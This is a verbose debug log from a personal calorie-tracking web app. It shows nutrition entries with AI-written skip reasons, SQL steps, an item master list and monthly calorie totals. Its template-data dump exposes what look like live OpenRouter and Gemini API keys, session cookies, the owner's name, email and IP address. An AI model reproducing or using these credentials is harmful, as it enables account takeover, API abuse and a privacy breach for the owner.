      skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
    },
    {
      food_name: 'Pre-workout',
      quantity: '1 scoop',
      calories_consumed: 10,
      total_calories: 10,
      protein: 0,
      carbs: 2,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
    },
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '100 ml',
      calories_consumed: 60,
      total_calories: 60,
      protein: 3.4,
      carbs: 4.8,
      fat: 3.2,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
    }
  ],
  total_macros: {
    total_calories: 96,
    total_protein: 4,
    total_carbs: 7.3,
    total_fat: 5.8,
    unit: 'grams'
  }
}
2025-12-19T05:28:07.430Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T05:28:07.431Z server-connect:app Executing action step identify
2025-12-19T05:28:07.431Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:07.431Z server-connect:output identity: 1
2025-12-19T05:28:07.431Z server-connect:app Executing action step restrict
2025-12-19T05:28:07.431Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:28:07.431Z server-connect:output restrict: undefined
2025-12-19T05:28:07.432Z server-connect:app Executing action step condition
2025-12-19T05:28:07.432Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T05:28:07.432Z server-connect:app Executing action step repeat
2025-12-19T05:28:07.432Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T05:28:07.432Z server-connect:app Executing action step insert
2025-12-19T05:28:07.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T05:28:07.433Z server-connect:output calories: { affected: 1, identity: 447 }
2025-12-19T05:28:07.433Z server-connect:app Executing action step insert
2025-12-19T05:28:07.433Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T05:28:07.433Z server-connect:output calories: { affected: 1, identity: 448 }
2025-12-19T05:28:07.433Z server-connect:app Executing action step insert
2025-12-19T05:28:07.433Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T05:28:07.434Z server-connect:output calories: { affected: 1, identity: 449 }
2025-12-19T05:28:07.434Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-19T05:28:07.434Z server-connect:output condition: undefined
2025-12-19T05:28:07.707Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T05:28:07.707Z server-connect:app Executing action step identify
2025-12-19T05:28:07.707Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:07.708Z server-connect:output identity: 1
2025-12-19T05:28:07.708Z server-connect:app Executing action step restrict
2025-12-19T05:28:07.708Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:28:07.708Z server-connect:output restrict: undefined
2025-12-19T05:28:07.708Z server-connect:router Render template layouts/main
2025-12-19T05:28:07.708Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T05:28:07.967Z server-connect:app Executing action step identify
2025-12-19T05:28:07.967Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:07.967Z server-connect:output identity: 1
2025-12-19T05:28:08.396Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T05:28:08.397Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T05:28:08.398Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T05:28:08.399Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T05:28:08.399Z server-connect:app Executing action step identify
2025-12-19T05:28:08.399Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:08.399Z server-connect:output identity: 1
2025-12-19T05:28:08.399Z server-connect:app Executing action step restrict
2025-12-19T05:28:08.399Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:28:08.400Z server-connect:app Executing action step identify
2025-12-19T05:28:08.400Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:08.400Z server-connect:output identity: 1
2025-12-19T05:28:08.400Z server-connect:app Executing action step restrict
2025-12-19T05:28:08.400Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:28:08.400Z server-connect:app Executing action step identify
2025-12-19T05:28:08.400Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:08.400Z server-connect:output identity: 1
2025-12-19T05:28:08.400Z server-connect:app Executing action step restrict
2025-12-19T05:28:08.400Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:28:08.400Z server-connect:app Executing action step identify
2025-12-19T05:28:08.400Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:08.400Z server-connect:output identity: 1
2025-12-19T05:28:08.400Z server-connect:app Executing action step restrict
2025-12-19T05:28:08.400Z server-connect:app options: { provider: 'security' }
2025-12-19T05:28:08.400Z server-connect:output restrict: undefined
2025-12-19T05:28:08.400Z server-connect:app Executing action step single
2025-12-19T05:28:08.400Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T05:28:08.401Z server-connect:output restrict: undefined
2025-12-19T05:28:08.401Z server-connect:app Executing action step single
2025-12-19T05:28:08.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T05:28:08.402Z server-connect:output restrict: undefined
2025-12-19T05:28:08.402Z server-connect:app Executing action step single
2025-12-19T05:28:08.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T05:28:08.402Z server-connect:output restrict: undefined
2025-12-19T05:28:08.402Z server-connect:app Executing action step select
2025-12-19T05:28:08.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T05:28:08.403Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T05:28:08.404Z server-connect:output summary: undefined
2025-12-19T05:28:08.404Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T05:28:08.404Z server-connect:app Executing action step select
2025-12-19T05:28:08.404Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T05:28:08.407Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T05:28:08.408Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  }
]
2025-12-19T05:28:08.408Z server-connect:app Executing action step setvalue
2025-12-19T05:28:08.408Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T05:28:08.408Z server-connect:output var_total: 96
2025-12-19T05:28:08.408Z server-connect:app Executing action step setvalue
2025-12-19T05:28:08.408Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T05:28:08.408Z server-connect:output var_consumed: 4
2025-12-19T05:28:08.408Z server-connect:app Executing action step setvalue
2025-12-19T05:28:08.408Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T05:28:08.408Z server-connect:output var_deficit: 2304
2025-12-19T05:28:08.408Z server-connect:app Executing action step custom
2025-12-19T05:28:08.409Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T05:28:08.410Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
